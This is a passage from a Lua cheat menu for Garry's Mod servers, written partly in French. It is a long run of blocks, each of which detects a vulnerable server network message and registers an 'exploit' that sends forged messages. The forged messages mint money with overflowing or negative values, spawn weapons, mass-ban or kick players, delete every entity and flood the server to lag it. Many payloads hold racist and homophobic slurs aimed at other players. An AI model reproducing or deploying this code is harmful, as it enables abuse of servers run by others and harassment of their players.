7288net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7289net.WriteString( "Join my gang or will rekt u" )
7290net.SendToServer()
7291end
7292end )
7293end
7294
7295status = ValidNetString("DisbandOrganization")
7296if (status) then
7297CHATPRINT("Exploit Trouvé : Org Disband [DisbandOrganization]")
7298addExploit( "179","Org Disband", "", function()
7299surface.PlaySound("garrysmod/ui_click.wav")
7300NOTIFICATION("Starting")
7301net.Start("DisbandOrganization")
7302net.WriteEntity(LocalPlayer())
7303net.SendToServer()
7304end )
7305end
7306
7307status = ValidNetString("ChangeOrgName")
7308if (status) then
7309CHATPRINT("Exploit Trouvé : Org Change Name [ChangeOrgName]")
7310addExploit( "180","Org Change Name", "", function()
7311surface.PlaySound("garrysmod/ui_click.wav")
7312NOTIFICATION("Starting")
7313net.Start("ChangeOrgName")
7314net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7315net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7316net.WriteEntity(LocalPlayer())
7317net.SendToServer()
7318end )
7319end
7320
7321status = ValidNetString("IS_SubmitSID_C2S")
7322if (status) then
7323CHATPRINT("Exploit Trouvé : Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7324addExploit( "181","Free Reward", "", function()
7325surface.PlaySound("garrysmod/ui_click.wav")
7326NOTIFICATION("Starting")
7327net.Start("IS_SubmitSID_C2S")
7328net.WriteString("Killa")
7329net.SendToServer()
7330net.Start("IS_GetReward_C2S")
7331net.SendToServer()
7332end )
7333end
7334
7335status = ValidNetString("AcceptBailOffer")
7336if (status) then
7337CHATPRINT("Exploit Trouvé : Bail Offer Exploit [AcceptBailOffer]")
7338addExploit( "182","Bail Offer Exploit", "", function()
7339surface.PlaySound("garrysmod/ui_click.wav")
7340NOTIFICATION("Starting")
7341for k,v in pairs(player.GetAll()) do
7342net.Start("AcceptBailOffer")
7343net.WriteEntity(v)
7344net.WriteUInt(-100000000000000000, 16 )
7345net.SendToServer()
7346end
7347end )
7348end
7349
7350status = ValidNetString("CP_Test_Results")
7351if (status) then
7352CHATPRINT("Exploit Trouvé : CP Bypass [CP_Test_Results]")
7353addExploit( "183","CP Bypass", "", function()
7354surface.PlaySound("garrysmod/ui_click.wav")
7355NOTIFICATION("Starting")
7356net.Start("CP_Test_Results")
7357net.WriteInt(1 ,8)
7358net.SendToServer()
7359end )
7360end
7361
7362status = ValidNetString("ReSpawn")
7363if (status) then
7364CHATPRINT("Exploit Trouvé : Respawn #4 [ReSpawn]")
7365addExploit( "184","Respawn #4", "just respawn", function()
7366surface.PlaySound("garrysmod/ui_click.wav")
7367NOTIFICATION("Starting")
7368net.Start("ReSpawn")
7369net.SendToServer()
7370end )
7371end
7372
7373status = ValidNetString("FIGHTCLUB_KickPlayer")
7374if (status) then
7375CHATPRINT("Exploit Trouvé : Fight Club Kick [FIGHTCLUB_KickPlayer]")
7376addExploit( "185","Fight Club Kick", "", function()
7377surface.PlaySound("garrysmod/ui_click.wav")
7378NOTIFICATION("Starting")
7379for k,v in pairs(player.GetAll()) do
7380net.Start("FIGHTCLUB_KickPlayer")
7381net.WriteBit(v)
7382net.WriteEntity(v)
7383net.SendToServer()
7384end
7385end )
7386end
7387
7388status = ValidNetString("FIGHTCLUB_StartFight")
7389if (status) then
7390CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
7391addExploit( "186","Fight Club Start Fight", "", function()
7392surface.PlaySound("garrysmod/ui_click.wav")
7393NOTIFICATION("Starting")
7394for k,v in pairs(player.GetAll()) do
7395net.Start("FIGHTCLUB_StartFight")
7396net.WriteEntity(v)
7397net.SendToServer()
7398end
7399end )
7400end
7401
7402status = ValidNetString("IveBeenRDMed")
7403if (status) then
7404CHATPRINT("Exploit Trouvé : Fake RDM [IveBeenRDMed]")
7405addExploit( "187","Fake RDM", "", function()
7406surface.PlaySound("garrysmod/ui_click.wav")
7407NOTIFICATION("Starting")
7408for k,v in pairs(player.GetAll()) do
7409net.Start("IveBeenRDMed")
7410net.WriteEntity(v)
7411net.SendToServer()
7412end
7413end )
7414end
7415
7416status = ValidNetString("nCTieUpStart")
7417if (status) then
7418CHATPRINT("Exploit Trouvé : Combine Control Exploit [nCTieUpStart]")
7419addExploit( "188","Combine Control Exploit", "", function()
7420surface.PlaySound("garrysmod/ui_click.wav")
7421NOTIFICATION("Starting")
7422for k,v in pairs(ents.GetAll()) do
7423net.Start("nCTieUpStart")
7424net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7425net.SendToServer()
7426end
7427end )
7428end
7429
7430status = ValidNetString("DestroyTable")
7431if (status) then
7432CHATPRINT("Exploit Trouvé : Fuck All [DestroyTable]")
7433addExploit( "189","Fuck All", "discovered by Leith", function()
7434surface.PlaySound("garrysmod/ui_click.wav")
7435NOTIFICATION("Starting")
7436for k,v in pairs(ents.GetAll()) do
7437net.Start("DestroyTable")
7438net.WriteEntity(v)
7439net.SendToServer()
7440end
7441end )
7442end
7443
7444status = ValidNetString("start_wd_hack")
7445if (status) then
7446CHATPRINT("Exploit Trouvé : Hack Phone Exploit [start_wd_hack]")
7447addExploit( "190","Hack Phone Exploit", "", function()
7448surface.PlaySound("garrysmod/ui_click.wav")
7449NOTIFICATION("Starting")
7450net.Start("start_wd_hack")
7451net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7452net.SendToServer()
7453end )
7454end
7455
7456status = ValidNetString("bringNfreeze")
7457if (status) then
7458CHATPRINT("Exploit Trouvé : Ban Exploit [bringNfreeze]")
7459addExploit( "191","Ban Exploit", "", function()
7460surface.PlaySound("garrysmod/ui_click.wav")
7461NOTIFICATION("Starting")
7462for k,v in pairs(player.GetAll()) do
7463net.Start('bringNfreeze')
7464net.WriteEntity(self)
7465net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7466net.SendToServer()
7467end
7468end )
7469end
7470
7471status = ValidNetString("JoinFirstSS")
7472if (status) then
7473CHATPRINT("Exploit Trouvé : Join First SS [JoinFirstSS]")
7474addExploit( "192","Join First SS", "", function()
7475surface.PlaySound("garrysmod/ui_click.wav")
7476NOTIFICATION("Starting")
7477net.Start("JoinFirstSS")
7478net.WriteEntity(LocalPlayer())
7479net.SendToServer()
7480end )
7481end
7482
7483status = ValidNetString("unarrestPerson")
7484if (status) then
7485CHATPRINT("Exploit Trouvé : Unarrest Person [unarrestPerson]")
7486addExploit( "193","Unarrest Person", "", function()
7487surface.PlaySound("garrysmod/ui_click.wav")
7488NOTIFICATION("Starting")
7489for k,v in pairs(player.GetAll()) do
7490net.Start("unarrestPerson")
7491net.WriteEntity(v)
7492net.SendToServer()
7493end
7494end )
7495end
7496
7497status = ValidNetString("giveArrestReason")
7498if (status) then
7499CHATPRINT("Exploit Trouvé : Give Arrest Reason [giveArrestReason]")
7500addExploit( "194","Give Arrest Reason", "", function()
7501surface.PlaySound("garrysmod/ui_click.wav")
7502NOTIFICATION("Starting")
7503for k,v in pairs(player.GetAll()) do
7504net.Start("giveArrestReason")
7505net.WriteEntity(LocalPlayer())
7506net.WriteEntity(v)
7507net.WriteString("Faggot")
7508net.SendToServer()
7509end
7510end )
7511end
7512
7513status = ValidNetString("sellitem")
7514if (status) then
7515CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
7516addExploit( "195","Argent Gratuite #24", "", function()
7517surface.PlaySound("garrysmod/ui_click.wav")
7518NOTIFICATION("Starting")
7519net.Start("sellitem")
7520net.WriteString(self)
7521net.WriteEntity(LocalPlayer())
7522net.SendToServer()
7523end )
7524end
7525
7526status = ValidNetString("createFaction")
7527if (status) then
7528CHATPRINT("Exploit Trouvé : Create Faction [createFaction]")
7529addExploit( "196","Create Faction", "", function()
7530surface.PlaySound("garrysmod/ui_click.wav")
7531NOTIFICATION("Starting")
7532for k,v in pairs(player.GetAll()) do
7533net.Start("createFaction")
7534net.WriteEntity(v)
7535net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
7536net.SendToServer()
7537end
7538end )
7539end
7540
7541status = ValidNetString("inviteToOrganization")
7542if (status) then
7543CHATPRINT("Exploit Trouvé : Faction Invite All [inviteToOrganization]")
7544addExploit( "197","Faction Invite All", "", function()
7545surface.PlaySound("garrysmod/ui_click.wav")
7546NOTIFICATION("Starting")
7547for k,v in pairs(player.GetAll()) do
7548net.Start("inviteToOrganization")
7549net.WriteEntity(v)
7550net.WriteEntity(LocalPlayer())
7551net.SendToServer()
7552end
7553end )
7554end
7555
7556status = ValidNetString("GovStation_SpawnVehicle")
7557if (status) then
7558CHATPRINT("Exploit Trouvé : Gov Spawn [GovStation_SpawnVehicle]")
7559addExploit( "198","Gov Spawn", "", function()
7560surface.PlaySound("garrysmod/ui_click.wav")
7561NOTIFICATION("Starting")
7562for k,v in pairs(ents.GetAll()) do
7563net.Start("GovStation_SpawnVehicle")
7564net.WriteString("GOV_POLICE")
7565net.SendToServer()
7566end
7567end )
7568end
7569
7570status = ValidNetString("GiveWeapon")
7571if (status) then
7572CHATPRINT("Exploit Trouvé : Give Weapons #3 [GiveWeapon]")
7573addExploit( "199","Give Weapons #3", "get weapons", function()
7574surface.PlaySound("garrysmod/ui_click.wav")
7575NOTIFICATION("Starting")
7576net.Start("GiveWeapon")
7577net.WriteEntity(LocalPlayer())
7578net.WriteString("m9k_davy_crockett")
7579net.WriteFloat(0)
7580net.SendToServer()
7581end )
7582end
7583
7584status = ValidNetString("DailyLoginClaim")
7585if (status) then
7586CHATPRINT("Exploit Trouvé : Daily Login Reward [DailyLoginClaim]")
7587addExploit( "200","Daily Login Reward", "", function()
7588surface.PlaySound("garrysmod/ui_click.wav")
7589NOTIFICATION("Starting")
7590net.Start("DailyLoginClaim")
7591net.SendToServer()
7592end )
7593end
7594
7595status = ValidNetString("DL_AskLogsList")
7596if (status) then
7597CHATPRINT("Exploit Trouvé : Ask Log List [DL_AskLogsList]")
7598addExploit( "201","Ask Log List", "", function()
7599surface.PlaySound("garrysmod/ui_click.wav")
7600NOTIFICATION("Starting")
7601net.Start("DL_AskLogsList")
7602net.SendToServer()
7603end )
7604end
7605
7606status = ValidNetString("DL_StartReport")
7607if (status) then
7608CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
7609addExploit( "202","DL Report Tout Le Monde", "", function()
7610surface.PlaySound("garrysmod/ui_click.wav")
7611NOTIFICATION("Starting")
7612for k,v in pairs(player.GetAll()) do
7613net.Start("DL_StartReport")
7614net.SendToServer()
7615net.Start("DL_ReportPlayer")
7616net.WriteEntity(v)
7617net.WriteString("Hes being a gay faggot plz ban him")
7618net.SendToServer()
7619end
7620end )
7621end
7622
7623status = ValidNetString("sv_saveweapons")
7624if (status) then
7625CHATPRINT("Exploit Trouvé : TTT Weapons Exploit [sv_saveweapons]")
7626addExploit( "203","DL Report Tout Le Monde", "", function()
7627surface.PlaySound("garrysmod/ui_click.wav")
7628NOTIFICATION("Starting")
7629net.Start("sv_saveweapons")
7630net.WriteString("weapon_ttt_rpg")
7631net.WriteString("weapon_ttt_rpg")
7632net.WriteString("eg")
7633net.SendToServer()
7634end )
7635end
7636
7637status = ValidNetString("SpecDM_SendLoadout")
7638if (status) then
7639CHATPRINT("Exploit Trouvé : SpecDM Exploit [SpecDM_SendLoadout]")
7640addExploit( "204","SpecDM Exploit", "", function()
7641surface.PlaySound("garrysmod/ui_click.wav")
7642NOTIFICATION("Starting")
7643net.Start("SpecDM_SendLoadout")
7644net.WriteString("eg")
7645net.WriteString("weapon_ttt_defib")
7646net.SendToServer()
7647end )
7648end
7649
7650status = ValidNetString("PowerRoundsForcePR")
7651if (status) then
7652CHATPRINT("Exploit Trouvé : Power Rounds Force [PowerRoundsForcePR]")
7653addExploit( "205","Power Rounds Force", "", function()
7654surface.PlaySound("garrysmod/ui_click.wav")
7655NOTIFICATION("Starting")
7656net.Start("PowerRoundsForcePR")
7657net.SendToServer()
7658end )
7659end
7660
7661status = ValidNetString("wyozimc_playply")
7662if (status) then
7663CHATPRINT("Exploit Trouvé : Wyozimc Music Exploit [wyozimc_playply]")
7664addExploit( "206","Wyozimc Music Exploit", "", function()
7665surface.PlaySound("garrysmod/ui_click.wav")
7666NOTIFICATION("Starting")
7667for k,v in pairs(player.GetAll()) do
7668net.Start("wyozimc_playply")
7669net.WriteEntity(v)
7670net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
7671net.SendToServer()
7672end
7673end )
7674end
7675
7676status = ValidNetString("SendSteamID")
7677if (status) then
7678CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
7679addExploit( "207","Envoyez Mail's", "", function()
7680surface.PlaySound("garrysmod/ui_click.wav")
7681NOTIFICATION("Starting")
7682for k,v in pairs(player.GetAll()) do
7683net.Start("SendSteamID")
7684net.WriteEntity(v)
7685net.WriteString("Faggot")
7686net.WriteString("Faggot")
7687net.SendToServer()
7688end
7689end )
7690end
7691
7692status = ValidNetString("JB_GiveCubics")
7693if (status) then
7694CHATPRINT("Exploit Trouvé : Give Cubics All [JB_GiveCubics]")
7695addExploit( "208","Give Cubics All", "", function()
7696surface.PlaySound("garrysmod/ui_click.wav")
7697NOTIFICATION("Starting")
7698for k,v in pairs(player.GetAll()) do
7699net.Start("JB_GiveCubics")
7700net.WriteEntity(v)
7701net.WriteInt(math.floor(dwang:GetValue()), 255)
7702net.SendToServer()
7703end
7704end )
7705end
7706
7707status = ValidNetString("JB_SelectWarden")
7708if (status) then
7709CHATPRINT("Exploit Trouvé : Select Warden All [JB_SelectWarden]")
7710addExploit( "209","Select Warden All", "", function()
7711surface.PlaySound("garrysmod/ui_click.wav")
7712NOTIFICATION("Starting")
7713for k,v in pairs(player.GetAll()) do
7714net.Start("JB_SelectWarden")
7715net.WriteEntity(v)
7716net.SendToServer()
7717end
7718end )
7719end
7720
7721status = ValidNetString("RDMReason_Explain")
7722if (status) then
7723CHATPRINT("Exploit Trouvé : RDM Explain [RDMReason_Explain]")
7724addExploit( "210","RDM Explain", "", function()
7725surface.PlaySound("garrysmod/ui_click.wav")
7726NOTIFICATION("Starting")
7727for k,v in pairs(player.GetAll()) do
7728net.Start("RDMReason_Explain")
7729net.WriteTable({id=v, reason=fgt})
7730net.SendToServer()
7731end
7732end )
7733end
7734
7735status = ValidNetString("redirectMsg")
7736if (status) then
7737CHATPRINT("Exploit Trouvé : Redirect Message [redirectMsg]")
7738addExploit( "211","Redirect Message", "", function()
7739surface.PlaySound("garrysmod/ui_click.wav")
7740NOTIFICATION("Starting")
7741net.Start("redirectMsg")
7742net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
7743net.SendToServer()
7744end )
7745end
7746
7747status = ValidNetString("LB_AddBan")
7748if (status) then
7749CHATPRINT("Exploit Trouvé : LB Ban [LB_AddBan]")
7750addExploit( "212","LB Ban", "", function()
7751surface.PlaySound("garrysmod/ui_click.wav")
7752NOTIFICATION("Starting")
7753for k,v in pairs(player.GetAll()) do
7754if v != LocalPlayer() then
7755net.Start("LB_AddBan")
7756net.WriteString("STEAM_0:0:71238382")
7757net.WriteString("fgt")
7758net.SendToServer()
7759end
7760end
7761end )
7762end
7763
7764status = ValidNetString("GET_Admin_MSGS")
7765if (status) then
7766CHATPRINT("Exploit Trouvé : Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
7767addExploit( "213","Brass Admin Chat", "", function()
7768surface.PlaySound("garrysmod/ui_click.wav")
7769NOTIFICATION("Starting")
7770net.Start("GET_Admin_MSGS")
7771net.SendToServer()
7772net.Start("OPEN_ADMIN_CHAT")
7773net.SendToServer()
7774end )
7775end
7776
7777status = ValidNetString("br_send_pm")
7778if (status) then
7779CHATPRINT("Exploit Trouvé : Brass Email Send All [br_send_pm]")
7780addExploit( "214","Brass Email Send All", "", function()
7781surface.PlaySound("garrysmod/ui_click.wav")
7782NOTIFICATION("Starting")
7783for k,v in pairs(player.GetAll()) do
7784if v != LocalPlayer() then
7785net.Start("br_send_pm")
7786net.WriteString(v)
7787net.WriteString("FGT")
7788net.WriteEntity(v)
7789net.SendToServer()
7790end
7791end
7792end )
7793end
7794
7795status = ValidNetString("LAWYER.BailFelonOut")
7796if (status) then
7797CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
7798addExploit( "215","Bail Felon Out", "", function()
7799surface.PlaySound("garrysmod/ui_click.wav")
7800NOTIFICATION("Starting")
7801net.Start("LAWYER.BailFelonOut")
7802net.WriteString("1")
7803net.WriteString("fgt")
7804net.SendToServer()
7805end )
7806end
7807
7808status = ValidNetString("LAWYER.GetBailOut")
7809if (status) then
7810CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
7811addExploit( "216","Get Bail Out", "", function()
7812surface.PlaySound("garrysmod/ui_click.wav")
7813NOTIFICATION("Starting")
7814net.Start("LAWYER.GetBailOut")
7815net.WriteString("Mick")
7816net.WriteString("Mick")
7817net.WriteString("1000000")
7818net.SendToServer()
7819end )
7820end
7821
7822status = ValidNetString("GrabMoney")
7823if (status) then
7824CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
7825addExploit( "217","Get Bail Out", "", function()
7826surface.PlaySound("garrysmod/ui_click.wav")
7827NOTIFICATION("Starting")
7828for k,v in pairs(ents.GetAll()) do
7829if v:GetClass() == "gold" then
7830if v:GetClass() == "silver" then
7831if v:GetClass() == "vip" then
7832if v:GetClass() == "vipgold" then
7833net.Start("GrabMoney")
7834net.WriteEntity(LocalPlayer())
7835net.SendToServer()
7836end
7837end
7838end
7839end
7840end
7841end )
7842end
7843
7844status = ValidNetString("nox_addpremadepunishment")
7845if (status) then
7846CHATPRINT("Exploit Trouvé : Nox Ban [nox_addpremadepunishment]")
7847addExploit( "218","Nox Ban", "", function()
7848surface.PlaySound("garrysmod/ui_click.wav")
7849NOTIFICATION("Starting")
7850for k,v in pairs(player.GetAll()) do
7851if v != LocalPlayer() then
7852net.Start("nox_addpremadepunishment")
7853net.WriteEntity("Sun")
7854net.WriteUInt(2, 8)
7855net.SendToServer()
7856end
7857end
7858end )
7859end
7860
7861status = ValidNetString("NET_CR_TakeStoredMoney")
7862if (status) then
7863CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
7864addExploit( "219","Steal Registry Money", "", function()
7865surface.PlaySound("garrysmod/ui_click.wav")
7866NOTIFICATION("Starting")
7867for k,v in pairs(ents.GetAll()) do
7868if v:GetClass() == "ss_cash_registry" then
7869net.Start('NET_CR_TakeStoredMoney')
7870net.WriteEntity("ss_cash_registry")
7871net.WriteEntity(LocalPlayer())
7872net.SendToServer()
7873end
7874end
7875end )
7876end
7877
7878status = ValidNetString("HV_AmmoBuy")
7879if (status) then
7880CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
7881addExploit( "220","HV Munitions Gratuites", "", function()
7882surface.PlaySound("garrysmod/ui_click.wav")
7883NOTIFICATION("Starting")
7884net.Start("HV_AmmoBuy")
7885net.WriteFloat("2")
7886net.SendToServer()
7887net.Start("HV_AmmoBuy")
7888net.WriteFloat("1")
7889net.SendToServer()
7890end )
7891end
7892
7893status = ValidNetString("hitcomplete")
7894if (status) then
7895CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
7896addExploit( "221","Super RP Hit", "", function()
7897surface.PlaySound("garrysmod/ui_click.wav")
7898NOTIFICATION("Starting")
7899for k,v in pairs(player.GetAll()) do
7900if v != LocalPlayer() then
7901net.Start("hitcomplete")
7902net.WriteEntity(v)
7903net.SendToServer()
7904end
7905end
7906end )
7907end
7908
7909status = ValidNetString("SyncRemoveAction")
7910if (status) then
7911CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
7912addExploit( "222","Remove All", "", function()
7913surface.PlaySound("garrysmod/ui_click.wav")
7914NOTIFICATION("Starting")
7915for k,v in pairs(ents.GetAll()) do
7916net.Start("SyncRemoveAction")
7917net.WriteEntity(v)
7918net.SendToServer()
7919end
7920end )
7921end
7922
7923status = ValidNetString("TMC_NET_MakePlayerWanted")
7924if (status) then
7925CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
7926addExploit( "223","Make All Wanted", "", function()
7927surface.PlaySound("garrysmod/ui_click.wav")
7928NOTIFICATION("Starting")
7929for k,v in pairs(player.GetAll()) do
7930net.Start("TMC_NET_MakePlayerWanted")
7931net.WriteString("bad")
7932net.WriteString("bad")
7933net.SendToServer()
7934end
7935end )
7936end
7937
7938status = ValidNetString("thiefnpc")
7939if (status) then
7940CHATPRINT("Exploit Trouvé : Thief NPC [thiefnpc]")
7941addExploit( "224","Thief NPC", "", function()
7942surface.PlaySound("garrysmod/ui_click.wav")
7943NOTIFICATION("Starting")
7944net.Start('thiefnpc')
7945net.WriteDouble(-99999999999999999)
7946net.SendToServer()
7947end )
7948end
7949
7950status = ValidNetString("TMC_NET_FirePlayer")
7951if (status) then
7952CHATPRINT("Exploit Trouvé : Fire Player [TMC_NET_FirePlayer]")
7953addExploit( "225","Fire Player", "", function()
7954surface.PlaySound("garrysmod/ui_click.wav")
7955NOTIFICATION("Starting")
7956net.Start("TMC_NET_FirePlayer")
7957net.WriteString("Paypal")
7958net.SendToServer()
7959end )
7960end
7961
7962status = ValidNetString("updateLaws")
7963if (status) then
7964CHATPRINT("Exploit Trouvé : Update Laws [updateLaws]")
7965addExploit( "226","Update Laws", "", function()
7966surface.PlaySound("garrysmod/ui_click.wav")
7967NOTIFICATION("Starting")
7968net.Start("updateLaws")
7969net.WriteString("Bitch")
7970net.SendToServer()
7971end )
7972end
7973
7974status = ValidNetString("LotteryMenu")
7975if (status) then
7976CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
7977addExploit( "227","Argent Gratuite #25", "", function()
7978surface.PlaySound("garrysmod/ui_click.wav")
7979NOTIFICATION("Starting")
7980net.Start("LotteryMenu")
7981net.WriteEntity(LocalPlayer())
7982net.WriteInt(1000000000000000000, 16)
7983net.SendToServer()
7984end )
7985end
7986
7987status = ValidNetString("soundArrestCommit")
7988if (status) then
7989CHATPRINT("Exploit Trouvé : Sound Arrest [soundArrestCommit]")
7990addExploit( "228","Sound Arrest", "", function()
7991surface.PlaySound("garrysmod/ui_click.wav")
7992NOTIFICATION("Starting")
7993net.Start("soundArrestCommit")
7994net.WriteString("Shit")
7995net.SendToServer()
7996end )
7997end
7998
7999status = ValidNetString("hoverboardpurchase")
8000if (status) then
8001CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
8002addExploit( "229","Hover Board", "", function()
8003surface.PlaySound("garrysmod/ui_click.wav")
8004NOTIFICATION("Starting")
8005net.Start("hoverboardpurchase")
8006net.WriteInt(8, 32)
8007net.SendToServer()
8008end )
8009end
8010
8011status = ValidNetString("SpawnProtection")
8012if (status) then
8013CHATPRINT("Exploit Trouvé : Off Spawn Protection [SpawnProtection]")
8014addExploit( "230","Off Spawn Protection", "", function()
8015surface.PlaySound("garrysmod/ui_click.wav")
8016NOTIFICATION("Starting")
8017net.Start("SpawnProtection")
8018net.WriteFloat(0)
8019net.SendToServer()
8020end )
8021end
8022
8023status = ValidNetString("NPCShop_BuyItem")
8024if (status) then
8025CHATPRINT("Exploit Trouvé : NPC Shop [NPCShop_BuyItem]")
8026addExploit( "231","NPC Shop", "", function()
8027surface.PlaySound("garrysmod/ui_click.wav")
8028NOTIFICATION("Starting")
8029net.Start("NPCShop_BuyItem")
8030net.WriteString("weapon_hack_phone")
8031net.SendToServer()
8032end )
8033end
8034
8035status = ValidNetString("CubeRiot CaptureZone Update")
8036if (status) then
8037CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
8038addExploit( "232","CubeRiot Exploit", "", function()
8039surface.PlaySound("garrysmod/ui_click.wav")
8040NOTIFICATION("Starting")
8041net.Start("CubeRiot CaptureZone Update")
8042net.WriteUInt( 1, 8 )
8043net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8044net.WriteVector( "2654.989258 2254.119629 -139.968750" )
8045net.SendToServer()
8046end )
8047end
8048
8049status = ValidNetString("deposit")
8050if (status) then
8051CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
8052addExploit( "233","Argent Gratuite #26", "", function()
8053surface.PlaySound("garrysmod/ui_click.wav")
8054NOTIFICATION("Starting")
8055net.Start("deposit")
8056net.WriteString("-10000000000000000000000")
8057net.SendToServer()
8058end )
8059end
8060
8061status = ValidNetString("AcceptRequest")
8062if (status) then
8063CHATPRINT("Exploit Trouvé : Call Exploit [AcceptRequest]")
8064addExploit( "234","Call Exploit", "", function()
8065surface.PlaySound("garrysmod/ui_click.wav")
8066NOTIFICATION("Starting")
8067for k,v in pairs(player.GetAll()) do
8068net.Start("AcceptRequest")
8069net.WriteEntity(v)
8070net.SendToServer()
8071end
8072end )
8073end
8074
8075status = ValidNetString("Chess ClientWager")
8076if (status) then
8077CHATPRINT("Exploit Trouvé : Chess Exploit [Chess ClientWager | Chess ClientResign]")
8078addExploit( "235","Chess Exploit", "", function()
8079surface.PlaySound("garrysmod/ui_click.wav")
8080NOTIFICATION("Starting")
8081net.Start("Chess ClientWager")
8082net.WriteUInt( -999999999999999999999999999, 24 )
8083net.SendToServer()
8084net.Start("Chess ClientResign")
8085net.SendToServer()
8086end )
8087end
8088
8089status = ValidNetString("netOrgVoteInvite_Server")
8090if (status) then
8091CHATPRINT("Exploit Trouvé : Org Invite All [netOrgVoteInvite_Server]")
8092addExploit( "236","Org Invite All", "", function()
8093surface.PlaySound("garrysmod/ui_click.wav")
8094NOTIFICATION("Starting")
8095for k,v in pairs(player.GetAll()) do
8096net.Start("netOrgVoteInvite_Server")
8097net.WriteEntity(v)
8098net.SendToServer()
8099end
8100end )
8101end
8102
8103
8104status = ValidNetString("donatorshop_itemtobuy")
8105if (status) then
8106CHATPRINT("Exploit Trouvé : Donator Box Exploit [donatorshop_itemtobuy]")
8107addExploit( "237","Donator Box Exploit", "", function()
8108surface.PlaySound("garrysmod/ui_click.wav")
8109NOTIFICATION("Starting")
8110net.Start("donatorshop_itemtobuy")
8111net.WriteString("DonatorShopBuyTripwire")
8112net.SendToServer()
8113end )
8114end
8115
8116status = ValidNetString("AskPickupItemInv")
8117if (status) then
8118CHATPRINT("Exploit Trouvé : Ask Item [AskPickupItemInv]")
8119addExploit( "238","Ask Item", "", function()
8120surface.PlaySound("garrysmod/ui_click.wav")
8121NOTIFICATION("Starting")
8122for k,v in pairs(player.GetAll()) do
8123net.Start("AskPickupItemInv")
8124net.WriteUInt(4,16)
8125net.WriteUInt(1,16)
8126net.SendToServer()
8127end
8128end )
8129end
8130
8131status = ValidNetString("buy_bundle")
8132if (status) then
8133CHATPRINT("Exploit Trouvé : Buy Bundle [buy_bundle]")
8134addExploit( "239","Buy Bundle", "", function()
8135surface.PlaySound("garrysmod/ui_click.wav")
8136NOTIFICATION("Starting")
8137net.Start("buy_bundle")
8138net.WriteFloat(1, 16)
8139net.SendToServer()
8140end )
8141end
8142
8143status = ValidNetString("LawyerOfferBail")
8144if (status) then
8145CHATPRINT("Exploit Trouvé : Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8146addExploit( "240","Lawyer Off Bail", "", function()
8147surface.PlaySound("garrysmod/ui_click.wav")
8148NOTIFICATION("Starting")
8149for k,v in pairs(player.GetAll()) do
8150net.Start("LawyerOfferBail")
8151net.WriteEntity(v)
8152net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8153net.SendToServer()
8154net.Start("AcceptBailOffer")
8155net.WriteEntity(v)
8156net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8157net.SendToServer()
8158end
8159end )
8160end
8161
8162status = ValidNetString("MineServer")
8163if (status) then
8164CHATPRINT("Exploit Trouvé : Lagger #22 [MineServer]")
8165addExploit( "241","Lagger #22", "lags", function()
8166surface.PlaySound("garrysmod/ui_click.wav")
8167NOTIFICATION("Starting")
8168for i = 0, 100 do
8169for k,v in pairs(player.GetAll()) do
8170net.Start("MineServer",true)
8171net.WriteString("sell")
8172net.WriteEntity(v)
8173net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8174net.SendToServer()
8175end
8176end
8177end )
8178end
8179
8180status = ValidNetString("Gb_gasstation_BuyGas")
8181if (status) then
8182CHATPRINT("Exploit Trouvé : Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8183addExploit( "242","Ukrainian gas", "", function()
8184surface.PlaySound("garrysmod/ui_click.wav")
8185NOTIFICATION("Starting")
8186net.Start("Gb_gasstation_BuyGas")
8187net.SendToServer()
8188net.Start("Gb_gasstation_BuyJerrycan")
8189net.SendToServer()
8190end )
8191end
8192
8193status = ValidNetString("D3A_CreateOrg")
8194if (status) then
8195CHATPRINT("Exploit Trouvé : D3A Create Org [D3A_CreateOrg]")
8196addExploit( "243","D3A Create Org", "", function()
8197surface.PlaySound("garrysmod/ui_click.wav")
8198NOTIFICATION("Starting")
8199net.Start("D3A_CreateOrg")
8200net.WriteString('969690485273489312467812367128312312314')
8201net.WriteString('123712983712984571298712398')
8202net.WriteString("255 255 255")
8203net.SendToServer()
8204end )
8205end
8206
8207status = ValidNetString("Shop_buy")
8208if (status) then
8209CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
